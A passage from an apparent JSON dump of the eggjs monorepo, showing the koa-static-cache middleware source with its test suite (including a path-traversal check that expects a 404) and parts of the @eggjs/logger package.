    "content": "import crypto from 'node:crypto';\nimport { createReadStream, statSync, readFileSync } from 'node:fs';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { debuglog, promisify } from 'node:util';\nimport zlib from 'node:zlib';\n\nimport { compressible } from '@eggjs/compressible';\nimport readDir from 'fs-readdir-recursive';\nimport mime from 'mime-types';\nimport { exists, decodeURIComponent as safeDecodeURIComponent } from 'utility';\n\nconst debug = debuglog('egg/koa-static-cache');\n\nconst gzip = promisify(zlib.gzip);\n\nexport type FileFilter = (path: string) => boolean;\n\nexport interface FileMeta {\n  maxAge?: number;\n  cacheControl?: string | ((path: string) => string);\n  buffer?: Buffer;\n  zipBuffer?: Buffer;\n  type?: string;\n  mime?: string;\n  mtime?: Date;\n  path?: string;\n  md5?: string;\n  length?: number;\n}\n\nexport interface FileMap {\n  [path: string]: FileMeta;\n}\n\nexport interface FileStore {\n  get(key: string): unknown;\n  set(key: string, value: unknown): void;\n}\n\nexport interface Options {\n  /**\n   * The root directory from which to serve static assets\n   * Default to `process.cwd`\n   */\n  dir?: string;\n  /**\n   * The max age for cache control\n   * Default to `0`\n   */\n  maxAge?: number;\n  /**\n   * The cache control header for static files\n   * Default to `undefined`\n   * Overrides `options.maxAge`\n   */\n  cacheControl?: string | ((path: string) => string);\n  /**\n   * store the files in memory instead of streaming from the filesystem on each request\n   */\n  buffer?: boolean;\n  /**\n   * when request's accept-encoding include gzip, files will compressed by gzip\n   * Default to `false`\n   */\n  gzip?: boolean;\n  /**\n   * try use gzip files, loaded from disk, like nginx gzip_static\n   * Default to `false`\n   */\n  usePrecompiledGzip?: boolean;\n  /**\n   * object map of aliases\n   * Default to `{}`\n   */\n  alias?: Record<string, string>;\n  /**\n   * the url prefix you wish to add\n   * Default to `''`\n   */\n  prefix?: string;\n  /**\n   * filter files at init dir, for example - skip non build (source) files.\n   * If array set - allow only listed files\n   * Default to `undefined`\n   */\n  filter?: FileFilter | string[];\n  /**\n   * dynamic load file which not cached on initialization\n   * Default to `false\n   */\n  dynamic?: boolean;\n  /**\n   * caches the assets on initialization or not,\n   * always work together with `options.dynamic`\n   * Default to `true`\n   */\n  preload?: boolean;\n  /**\n   * file store for caching\n   * Default to `undefined`\n   */\n  files?: FileMap | FileStore;\n}\n\ntype Next = () => Promise<void>;\n\nexport class FileManager {\n  store?: FileStore;\n  map?: FileMap;\n\n  constructor(store?: FileStore | FileMap) {\n    if (store && typeof store.set === 'function' && typeof store.get === 'function') {\n      this.store = store as FileStore;\n    } else {\n      this.map = store || Object.create(null);\n    }\n  }\n\n  get(key: string): unknown {\n    return this.store ? this.store.get(key) : this.map![key];\n  }\n\n  set(key: string, value: FileMeta): void {\n    if (this.store) {\n      return this.store.set(key, value);\n    }\n    this.map![key] = value;\n  }\n}\n\ntype MiddlewareFunc = (ctx: any, next: Next) => Promise<void> | void;\n\nexport function staticCache(): MiddlewareFunc;\nexport function staticCache(dir: string): MiddlewareFunc;\nexport function staticCache(options: Options): MiddlewareFunc;\nexport function staticCache(dir: string, options: Options): MiddlewareFunc;\nexport function staticCache(dir: string, options: Options, files: FileMap | FileStore): MiddlewareFunc;\nexport function staticCache(\n  dirOrOptions?: string | Options,\n  options: Options = {},\n  filesStoreOrMap?: FileMap | FileStore,\n): MiddlewareFunc {\n  let dir = '';\n  if (typeof dirOrOptions === 'string') {\n    // dir priority than options.dir\n    dir = dirOrOptions;\n  } else if (dirOrOptions) {\n    options = dirOrOptions;\n  }\n  if (!dir && options.dir) {\n    dir = options.dir;\n  }\n  if (!dir) {\n    // default to process.cwd\n    dir = process.cwd();\n  }\n  dir = path.normalize(dir);\n  debug('staticCache dir: %s', dir);\n\n  // prefix must be ASCII code\n  options.prefix = (options.prefix ?? '').replace(/\\/*$/, '/');\n  const files = new FileManager(filesStoreOrMap ?? options.files);\n  const enableGzip = !!options.gzip;\n  const filePrefix = path.normalize(options.prefix.replace(/^\\//, ''));\n\n  // option.filter\n  let fileFilter: FileFilter = () => {\n    return true;\n  };\n  if (Array.isArray(options.filter)) {\n    fileFilter = (file: string) => {\n      return (options.filter as string[]).includes(file);\n    };\n  }\n  if (typeof options.filter === 'function') {\n    fileFilter = options.filter;\n  }\n\n  if (options.preload !== false) {\n    debug('preload: %s', dir);\n    readDir(dir, (filename) => {\n      // ignore dot files and node_modules\n      return !filename.startsWith('.') && filename !== 'node_modules';\n    })\n      .filter(fileFilter)\n      .forEach((name) => {\n        loadFile(name, dir, options, files);\n      });\n    debug('preload end');\n  }\n\n  debug('prepare middleware');\n  return async (ctx: any, next: Next) => {\n    // only accept HEAD and GET\n    if (ctx.method !== 'HEAD' && ctx.method !== 'GET') return await next();\n    // check prefix first to avoid calculate\n    if (!ctx.path.startsWith(options.prefix)) return await next();\n\n    // decode for `/%E4%B8%AD%E6%96%87`\n    // normalize for `//index`\n    let filename = path.normalize(safeDecodeURIComponent(ctx.path));\n\n    // check alias\n    if (options.alias && options.alias[filename]) {\n      filename = options.alias[filename];\n    }\n\n    let file = files.get(filename) as FileMeta;\n    // try to load file\n    if (!file) {\n      if (!options.dynamic) return await next();\n      if (path.basename(filename)[0] === '.') return await next();\n      if (filename.charAt(0) === path.sep) {\n        filename = filename.slice(1);\n      }\n\n      // trim prefix\n      if (options.prefix !== '/') {\n        if (filename.indexOf(filePrefix) !== 0) {\n          return await next();\n        }\n        filename = filename.slice(filePrefix.length);\n      }\n\n      const fullpath = path.join(dir, filename);\n      // files that can be accessed should be under options.dir\n      if (!fullpath.startsWith(dir)) {\n        return await next();\n      }\n\n      const stats = await exists(fullpath);\n      if (!stats) return await next();\n      if (!stats.isFile()) return await next();\n\n      file = loadFile(filename, dir, options, files);\n    }\n\n    ctx.status = 200;\n\n    if (enableGzip) ctx.vary('Accept-Encoding');\n\n    if (!file.buffer) {\n      const stats = await fs.stat(file.path!);\n      if (stats.mtime.getTime() !== file.mtime!.getTime()) {\n        file.mtime = stats.mtime;\n        file.md5 = undefined;\n        file.length = stats.size;\n      }\n    }\n\n    ctx.response.lastModified = file.mtime;\n    if (file.md5) {\n      ctx.response.etag = file.md5;\n    }\n\n    if (ctx.fresh) {\n      ctx.status = 304;\n      return;\n    }\n\n    ctx.type = file.type;\n    ctx.length = file.zipBuffer ? file.zipBuffer.length : file.length!;\n    ctx.set('cache-control', file.cacheControl ?? 'public, max-age=' + file.maxAge);\n    if (file.md5) ctx.set('content-md5', file.md5);\n\n    if (ctx.method === 'HEAD') {\n      return;\n    }\n\n    const acceptGzip = ctx.acceptsEncodings('gzip') === 'gzip';\n\n    if (file.zipBuffer) {\n      if (acceptGzip) {\n        ctx.set('content-encoding', 'gzip');\n        ctx.body = file.zipBuffer;\n      } else {\n        ctx.body = file.buffer;\n      }\n      return;\n    }\n\n    const shouldGzip = enableGzip && file.length! > 1024 && acceptGzip && file.type && compressible(file.type);\n\n    if (file.buffer) {\n      if (shouldGzip) {\n        const gzFile = files.get(filename + '.gz') as FileMeta;\n        if (options.usePrecompiledGzip && gzFile && gzFile.buffer) {\n          // if .gz file already read from disk\n          file.zipBuffer = gzFile.buffer;\n        } else {\n          file.zipBuffer = await gzip(file.buffer);\n        }\n        ctx.set('content-encoding', 'gzip');\n        ctx.body = file.zipBuffer;\n      } else {\n        ctx.body = file.buffer;\n      }\n      return;\n    }\n\n    const stream = createReadStream(file.path!);\n\n    // update file hash\n    if (!file.md5) {\n      const hash = crypto.createHash('md5');\n      stream.on('data', hash.update.bind(hash));\n      stream.on('end', () => {\n        file.md5 = hash.digest('base64');\n      });\n    }\n\n    ctx.body = stream;\n    // enable gzip will remove content length\n    if (shouldGzip) {\n      ctx.remove('content-length');\n      ctx.set('content-encoding', 'gzip');\n      ctx.body = stream.pipe(zlib.createGzip());\n    }\n  };\n}\n\n/**\n * load file and add file content to cache\n */\nfunction loadFile(name: string, dir: string, options: Options, fileManager: FileManager) {\n  const pathname = path.normalize(path.join(options.prefix!, name));\n  if (!fileManager.get(pathname)) {\n    fileManager.set(pathname, {});\n  }\n  const obj = fileManager.get(pathname) as FileMeta;\n  const filename = (obj.path = path.join(dir, name));\n  const stats = statSync(filename);\n  const buffer = readFileSync(filename);\n\n  obj.cacheControl = typeof options.cacheControl === 'function' ? options.cacheControl(filename) : options.cacheControl; // if cacheControl is a function, it will be called with the filename\n  obj.maxAge = (typeof obj.maxAge === 'number' ? obj.maxAge : options.maxAge) || 0;\n  obj.type = obj.mime = mime.lookup(pathname) || 'application/octet-stream';\n  obj.mtime = stats.mtime;\n  obj.length = stats.size;\n  obj.md5 = crypto.createHash('md5').update(buffer).digest('base64');\n\n  debug('file: %s', JSON.stringify(obj, null, 2));\n  if (options.buffer) {\n    obj.buffer = buffer;\n  }\n  return obj;\n}\n"
  },
  {
    "path": "packages/koa-static-cache/test/index.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport crypto from 'node:crypto';\nimport fs from 'node:fs';\nimport http from 'node:http';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { Application as Koa } from '@eggjs/koa';\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\nimport { LRU } from 'ylru';\n\nimport { staticCache } from '../src/index.ts';\n\nconst __dirname = import.meta.dirname;\nconst readmeFile = path.join(__dirname, '..', 'README.md');\n\nconst app = new Koa();\nconst files: Record<string, any> = {};\napp.use(\n  staticCache(\n    path.join(__dirname, '..'),\n    {\n      alias: {\n        '/package': '/package.json',\n        // windows\n        '\\\\package': '\\\\package.json',\n      },\n      filter(file: string) {\n        return !file.includes('node_modules');\n      },\n    },\n    files,\n  ),\n);\n\nconst server = http.createServer(app.callback());\n\nconst app2 = new Koa();\napp2.use(\n  staticCache({\n    dir: path.join(__dirname, '..'),\n    buffer: true,\n    filter(file: string) {\n      return !file.includes('node_modules');\n    },\n  }),\n);\nconst server2 = http.createServer(app2.callback());\n\nconst app3 = new Koa();\napp3.use(\n  staticCache(path.join(__dirname, '..'), {\n    buffer: true,\n    gzip: true,\n    filter(file: string) {\n      return !file.includes('node_modules');\n    },\n  }),\n);\nconst server3 = http.createServer(app3.callback());\n\nconst app4 = new Koa();\nconst files4: Record<string, any> = {};\napp4.use(\n  staticCache(path.join(__dirname, '..'), {\n    gzip: true,\n    filter(file: string) {\n      return !file.includes('node_modules');\n    },\n    files: files4,\n  }),\n);\n\nconst app5 = new Koa();\napp5.use(\n  staticCache({\n    buffer: true,\n    prefix: '/static',\n    dir: path.join(__dirname, '..'),\n    filter(file: string) {\n      return !file.includes('node_modules');\n    },\n  }),\n);\nconst server5 = http.createServer(app5.callback());\n\ndescribe('cacheControl function', () => {\n  const app = new Koa();\n  app.use(\n    staticCache({\n      buffer: true,\n      dir: path.join(__dirname, '..'),\n      filter(file: string) {\n        return !file.includes('node_modules');\n      },\n      cacheControl(path) {\n        if (path.includes('index.ts')) {\n          return 'public, max-age=1000';\n        }\n        return 'public, max-age=0';\n      },\n    }),\n  );\n  const server = app.listen();\n\n  it('should support cacheControl function', async () => {\n    await request(server).get('/src/index.ts').expect('Cache-Control', 'public, max-age=1000').expect(200);\n  });\n\n  it('should support cacheControl function', async () => {\n    await request(server).get('/test/index.test.ts').expect('Cache-Control', 'public, max-age=0').expect(200);\n  });\n});\n\n// FIXME: flaky test on windows, Error: EPERM: operation not permitted, open 'D:\\a\\egg\\egg\\packages\\koa-static-cache\\test\\a.js'\ndescribe.skipIf(process.platform === 'win32')('Static Cache', () => {\n  it('should dir priority than options.dir', async () => {\n    const app = new Koa();\n    app.use(\n      staticCache(path.join(__dirname, '..'), {\n        dir: __dirname,\n      }),\n    );\n    const server = app.listen();\n    await request(server).get('/src/index.ts').expect(200);\n  });\n\n  it('should default options.dir works fine', async () => {\n    const app = new Koa();\n    app.use(\n      staticCache({\n        dir: path.join(__dirname, '..'),\n      }),\n    );\n    const server = app.listen();\n    await request(server).get('/src/index.ts').expect(200);\n  });\n\n  it('should accept abnormal path', async () => {\n    const app = new Koa();\n    app.use(\n      staticCache({\n        dir: path.join(__dirname, '..'),\n      }),\n    );\n    const server = app.listen();\n    await request(server).get('//src/index.ts').expect(200);\n  });\n\n  it.skip('should default process.cwd() works fine', async () => {\n    const app = new Koa();\n    app.use(staticCache());\n    const server = app.listen();\n    await request(server).get('/package.json').expect(200);\n  });\n\n  it('should serve files', async () => {\n    const res = await request(server)\n      .get('/src/index.ts')\n      .expect(200)\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Type', /video\\/mp2t/);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(res.headers.etag);\n  });\n\n  it('should serve files as buffers', async () => {\n    const res = await request(server2)\n      .get('/src/index.ts')\n      .expect(200)\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Type', /video\\/mp2t/);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(res.headers.etag);\n  });\n\n  it('should serve recursive files', async () => {\n    const res = await request(server)\n      .get('/test/index.test.ts')\n      .expect(200)\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Type', /video\\/mp2t/);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(res.headers.etag);\n  });\n\n  it('should not serve hidden files', async () => {\n    await request(server).get('/.gitignore').expect(404);\n  });\n\n  it('should support conditional HEAD requests', async () => {\n    const res = await request(server)\n      .get('/src/index.ts')\n      .expect(200)\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Type', /video\\/mp2t/);\n    await request(server).head('/src/index.ts').set('If-None-Match', res.headers.etag).expect(304);\n  });\n\n  it('should support conditional GET requests', async () => {\n    const res = await request(server)\n      .get('/src/index.ts')\n      .expect(200)\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Type', /video\\/mp2t/);\n    await request(server).get('/src/index.ts').set('If-None-Match', res.headers.etag).expect(304);\n  });\n\n  it('should support HEAD', async () => {\n    await request(server).head('/src/index.ts').expect(200);\n  });\n\n  it('should support 404 Not Found for other Methods to allow downstream', async () => {\n    await request(server).put('/src/index.ts').expect(404);\n  });\n\n  it('should ignore query strings', async () => {\n    await request(server).get('/src/index.ts?query=string').expect(200);\n  });\n\n  it('should alias paths', async () => {\n    await request(server).get('/package').expect('Content-Type', /json/).expect(200);\n  });\n\n  it('should be configurable via object', async () => {\n    if (process.platform === 'win32') {\n      files['\\\\package.json'].maxAge = 1;\n    } else {\n      files['/package.json'].maxAge = 1;\n    }\n\n    await request(server).get('/package.json').expect('Cache-Control', 'public, max-age=1').expect(200);\n  });\n\n  it('should set the etag and content-md5 headers', async () => {\n    const pk = fs.readFileSync(path.join(__dirname, '..', 'package.json'));\n    const md5 = crypto.createHash('md5').update(pk).digest('base64');\n\n    await request(server).get('/package.json').expect('ETag', `\"${md5}\"`).expect('Content-MD5', md5).expect(200);\n  });\n\n  // FIXME: flaky test\n  it.skip('should set Last-Modified if file modified and not buffered', async () => {\n    await scheduler.wait(1000);\n    const readme = fs.readFileSync(readmeFile, 'utf8');\n    fs.writeFileSync(readmeFile, readme, 'utf8');\n    const mtime = fs.statSync(readmeFile).mtime;\n    const filename = process.platform === 'win32' ? '\\\\README.md' : '/README.md';\n    const md5 = files[filename].md5;\n    const res = await request(server).get('/README.md').expect(200);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(!res.headers.etag);\n    assert.deepEqual(files[filename].mtime, mtime);\n    await scheduler.wait(1000);\n    assert.equal(files[filename].md5, md5);\n  });\n\n  it.skip('should set Last-Modified if file rollback and not buffered', async () => {\n    await scheduler.wait(1000);\n    const readme = fs.readFileSync(readmeFile, 'utf8');\n    fs.writeFileSync(readmeFile, readme, 'utf8');\n    const mtime = fs.statSync(readmeFile).mtime;\n    const filename = process.platform === 'win32' ? '\\\\README.md' : '/README.md';\n    const md5 = files[filename].md5;\n    const res = await request(server).get('/README.md').expect(200);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(!res.headers.etag);\n    assert.deepEqual(files[filename].mtime, mtime);\n    await scheduler.wait(1000);\n    assert.equal(files[filename].md5, md5);\n  });\n\n  it('should serve files with gzip buffer', async () => {\n    const index = fs.readFileSync(path.join(__dirname, '../CHANGELOG.md'));\n    const res = await request(server3)\n      .get('/CHANGELOG.md')\n      .set('Accept-Encoding', 'gzip')\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Encoding', 'gzip')\n      .expect('Content-Type', 'text/markdown; charset=utf-8')\n      .expect('Content-Length', /^\\d+$/)\n      .expect('Vary', 'Accept-Encoding')\n      .expect(index.toString())\n      .expect(200);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(res.headers.etag);\n  });\n\n  it('should not serve files with gzip buffer when accept encoding not include gzip', async () => {\n    const readme = fs.readFileSync(path.join(__dirname, '..', 'README.md'));\n    const res = await request(server3)\n      .get('/README.md')\n      .set('Accept-Encoding', '')\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Type', /text\\/markdown/)\n      .expect('Content-Length', /^\\d+$/)\n      .expect('Vary', 'Accept-Encoding')\n      .expect(readme.toString())\n      .expect(200);\n    assert(!res.headers['content-encoding']);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(res.headers.etag);\n  });\n\n  it('should serve files with prefix', async () => {\n    const res = await request(server5)\n      .get('/static/src/index.ts')\n      .expect('Cache-Control', 'public, max-age=0')\n      .expect('Content-Type', /video\\/mp2t/)\n      .expect(200);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert(res.headers.etag);\n  });\n\n  it('should 404 when dynamic = false', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: false, dir: __dirname }));\n    const server = app.listen();\n    fs.writeFileSync(path.join(__dirname, 'a.js'), 'hello world');\n\n    const res = await request(server).get('/a.js');\n    fs.unlinkSync(path.join(__dirname, 'a.js'));\n    assert.equal(res.status, 404);\n  });\n\n  it('should work fine when new file added in dynamic mode', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: true, dir: __dirname }));\n    const server = app.listen();\n    fs.writeFileSync(path.join(__dirname, 'a.js'), 'hello world');\n\n    const res = await request(server).get('/a.js');\n    fs.unlinkSync(path.join(__dirname, 'a.js'));\n    assert.equal(res.status, 200);\n  });\n\n  it('should work fine when new file added in dynamic and prefix mode', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: true, prefix: '/static', dir: __dirname }));\n    const server = app.listen();\n    fs.writeFileSync(path.join(__dirname, 'a.js'), 'hello world');\n\n    const res = await request(server).get('/static/a.js');\n    fs.unlinkSync(path.join(__dirname, 'a.js'));\n    assert.equal(res.status, 200);\n  });\n\n  it('should work fine when new file added in dynamic mode with LRU', async () => {\n    const app = new Koa();\n    const files = new LRU(1);\n    app.use(staticCache({ dynamic: true, files, dir: __dirname }));\n    const server = app.listen();\n    fs.writeFileSync(path.join(__dirname, 'a.js'), 'hello world a');\n    fs.writeFileSync(path.join(__dirname, 'b.js'), 'hello world b');\n    fs.writeFileSync(path.join(__dirname, 'c.js'), 'hello world c');\n    const filea = process.platform === 'win32' ? '\\\\a.js' : '/a.js';\n    const fileb = process.platform === 'win32' ? '\\\\b.js' : '/b.js';\n    const filec = process.platform === 'win32' ? '\\\\c.js' : '/c.js';\n\n    await request(server).get('/a.js').expect(200);\n    assert(files.get(filea));\n\n    await request(server).get('/b.js').expect(200);\n    assert(!files.get(filea));\n    assert(files.get(fileb));\n\n    await request(server).get('/c.js').expect(200);\n    assert(!files.get(fileb));\n    assert(files.get(filec));\n\n    await request(server).get('/a.js').expect(200);\n    assert(!files.get(filec));\n\n    await request(server).get('/a.js').expect(200);\n    assert(!files.get(filec));\n    assert(files.get(filea));\n    fs.unlinkSync(path.join(__dirname, 'a.js'));\n    fs.unlinkSync(path.join(__dirname, 'b.js'));\n    fs.unlinkSync(path.join(__dirname, 'c.js'));\n  });\n\n  it('should 404 when url without prefix in dynamic and prefix mode', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: true, prefix: '/static', dir: __dirname }));\n    const server = app.listen();\n    fs.writeFileSync(path.join(__dirname, 'a.js'), 'hello world');\n\n    const res = await request(server).get('/a.js');\n    fs.unlinkSync(path.join(__dirname, 'a.js'));\n    assert.equal(res.status, 404);\n  });\n\n  it('should 404 when new hidden file added in dynamic mode', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: true, dir: __dirname }));\n    const server = app.listen();\n    fs.writeFileSync(path.join(__dirname, '.a.js'), 'hello world');\n\n    const res = await request(server).get('/.a.js');\n    fs.unlinkSync(path.join(__dirname, '.a.js'));\n    assert.equal(res.status, 404);\n  });\n\n  it('should 404 when file not exist in dynamic mode', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: true, dir: __dirname }));\n    const server = app.listen();\n    await request(server).get('/a.js').expect(404);\n  });\n\n  it('should 404 when file not exist', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: true, dir: __dirname }));\n    const server = app.listen();\n    await request(server).get('/a.js').expect(404);\n  });\n\n  it('should 404 when is folder in dynamic mode', async () => {\n    const app = new Koa();\n    app.use(staticCache({ dynamic: true, dir: __dirname }));\n    const server = app.listen();\n    await request(server).get('/test').expect(404);\n  });\n\n  it('should array options.filter works fine', async () => {\n    const app = new Koa();\n    app.use(\n      staticCache({\n        dir: path.join(__dirname, '..'),\n        filter: ['index.js'],\n      }),\n    );\n    const server = app.listen();\n    await request(server).get('/README.md').expect(404);\n  });\n\n  it('should function options.filter works fine', async () => {\n    const app = new Koa();\n    app.use(\n      staticCache({\n        dir: path.join(__dirname, '..'),\n        filter(file: string) {\n          return file.indexOf('index.js') === 0;\n        },\n      }),\n    );\n    const server = app.listen();\n    await request(server).get('/README.md').expect(404);\n  });\n\n  it('should options.dynamic and options.preload works fine', async () => {\n    const app = new Koa();\n    const files: Record<string, any> = {};\n    app.use(\n      staticCache({\n        dir: path.join(__dirname, '..'),\n        preload: false,\n        dynamic: true,\n        files,\n      }),\n    );\n    assert.deepEqual(files, {});\n    const res = await request(app.listen()).get('/package.json').expect(200);\n    const filename = process.platform === 'win32' ? '\\\\package.json' : '/package.json';\n    assert(files[filename]);\n    assert(res.headers['content-length']);\n    assert(res.headers['last-modified']);\n    assert.equal(res.headers['content-type'], 'application/json; charset=utf-8');\n  });\n\n  it('should options.alias and options.preload works fine', async () => {\n    const app = new Koa();\n    const files: Record<string, any> = {};\n    app.use(\n      staticCache({\n        dir: path.join(__dirname, '..'),\n        preload: false,\n        dynamic: true,\n        alias: {\n          '/package': '/package.json',\n          '\\\\package': '\\\\package.json',\n        },\n        files,\n      }),\n    );\n    assert.deepEqual(files, {});\n    const res = await request(app.listen()).get('/package').expect(200);\n\n    const filename = process.platform === 'win32' ? '\\\\package.json' : '/package.json';\n    assert(files[filename]);\n    assert(!files['/package']);\n    assert(!files['\\\\package']);\n    assert(res.headers['content-length']);\n\n    const res2 = await request(app.listen()).get('/package.json').expect(200);\n    assert(files[filename]);\n    assert(Object.keys(files).length === 1);\n    assert(res2.headers['content-length']);\n  });\n\n  it('should loadFile under options.dir', async () => {\n    const app = new Koa();\n    app.use(\n      staticCache({\n        dir: __dirname,\n        preload: false,\n        dynamic: true,\n      }),\n    );\n    await request(app.listen()).get('/%2E%2E/package.json').expect(404);\n  });\n});\n"
  },
  {
    "path": "packages/koa-static-cache/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/koa-static-cache/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/logger/package.json",
    "content": "{\n  \"name\": \"@eggjs/logger\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"egg logger\",\n  \"keywords\": [\n    \"egg\",\n    \"logger\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/logger\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"fengmk2 <fengmk2@gmail.com> (https://github.com/fengmk2)\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/logger\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./egg/console_logger\": \"./src/egg/console_logger.ts\",\n    \"./egg/custom_logger\": \"./src/egg/custom_logger.ts\",\n    \"./egg/error_logger\": \"./src/egg/error_logger.ts\",\n    \"./egg/logger\": \"./src/egg/logger.ts\",\n    \"./egg/loggers\": \"./src/egg/loggers.ts\",\n    \"./level\": \"./src/level.ts\",\n    \"./logger\": \"./src/logger.ts\",\n    \"./transports/console\": \"./src/transports/console.ts\",\n    \"./transports/file\": \"./src/transports/file.ts\",\n    \"./transports/file_buffer\": \"./src/transports/file_buffer.ts\",\n    \"./transports/transport\": \"./src/transports/transport.ts\",\n    \"./utils\": \"./src/utils.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./egg/console_logger\": \"./dist/egg/console_logger.js\",\n      \"./egg/custom_logger\": \"./dist/egg/custom_logger.js\",\n      \"./egg/error_logger\": \"./dist/egg/error_logger.js\",\n      \"./egg/logger\": \"./dist/egg/logger.js\",\n      \"./egg/loggers\": \"./dist/egg/loggers.js\",\n      \"./level\": \"./dist/level.js\",\n      \"./logger\": \"./dist/logger.js\",\n      \"./transports/console\": \"./dist/transports/console.js\",\n      \"./transports/file\": \"./dist/transports/file.js\",\n      \"./transports/file_buffer\": \"./dist/transports/file_buffer.js\",\n      \"./transports/transport\": \"./dist/transports/transport.js\",\n      \"./utils\": \"./dist/utils.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"build\": \"tsdown\",\n    \"clean\": \"rimraf dist\",\n    \"lint\": \"oxlint --type-aware\",\n    \"typecheck\": \"tsgo --noEmit\",\n    \"test\": \"vitest run\"\n  },\n  \"dependencies\": {\n    \"@eggjs/errors\": \"workspace:*\",\n    \"chalk\": \"catalog:\",\n    \"circular-json-for-egg\": \"catalog:\",\n    \"iconv-lite\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/koa\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"mm\": \"catalog:\",\n    \"oxlint\": \"catalog:\",\n    \"rimraf\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/egg/console_logger.ts",
    "content": "import type { LoggerLevel } from '../level.ts';\nimport { Logger } from '../logger.ts';\nimport { ConsoleTransport } from '../transports/console.ts';\nimport { consoleFormatter, assign, type EggConsoleLoggerOptions } from '../utils.ts';\n\n/**\n * Terminal Logger: sends all log output to console.\n * Uses egg's server environment (EGG_SERVER_ENV or options.env) to determine default level.\n * Production (prod) defaults to INFO; other environments default to WARN.\n */\nexport class EggConsoleLogger extends Logger {\n  constructor(options?: Partial<EggConsoleLoggerOptions>) {\n    super();\n    const opts = assign<EggConsoleLoggerOptions>({}, this.defaults, options);\n    const env = opts.env ?? process.env.EGG_SERVER_ENV ?? '';\n    const envLevel = process.env.NODE_CONSOLE_LOGGER_LEVEL as LoggerLevel | undefined;\n    const defaultLevel: LoggerLevel = env === 'prod' ? 'INFO' : 'WARN';\n    const level: LoggerLevel = (opts.level as LoggerLevel) ?? envLevel ?? defaultLevel;\n\n    this.set(\n      'console',\n      new ConsoleTransport({\n        level,\n        formatter: consoleFormatter,\n        maxCauseChainLength: opts.maxCauseChainLength,\n      }),\n    );\n  }\n\n  get defaults(): Partial<EggConsoleLoggerOptions> {\n    return {\n      encoding: 'utf8',\n      maxCauseChainLength: 10,\n    };\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/egg/custom_logger.ts",
    "content": "import { EggLogger } from './logger.ts';\n\n/**\n * Custom Logger: same as EggLogger but named for clarity.\n */\nexport class EggCustomLogger extends EggLogger {}\n"
  },
  {
    "path": "packages/logger/src/egg/error_logger.ts",
    "content": "import { levels, type LoggerLevel } from '../level.ts';\nimport { type EggLoggerOptions } from '../utils.ts';\nimport { EggLogger } from './logger.ts';\n\n/**\n * Error Logger: only prints ERROR level and above.\n */\nexport class EggErrorLogger extends EggLogger {\n  constructor(options?: Partial<EggLoggerOptions>) {\n    const opts = options ?? {};\n    opts.level = getMinLevel(opts.level);\n    opts.consoleLevel = getMinLevel(opts.consoleLevel);\n    super(opts);\n  }\n}\n\nfunction getMinLevel(level?: LoggerLevel): LoggerLevel {\n  if (!level) return 'ERROR';\n  return levels[level] >= levels.ERROR ? level : 'ERROR';\n}\n"
  },
  {
    "path": "packages/logger/src/egg/logger.ts",
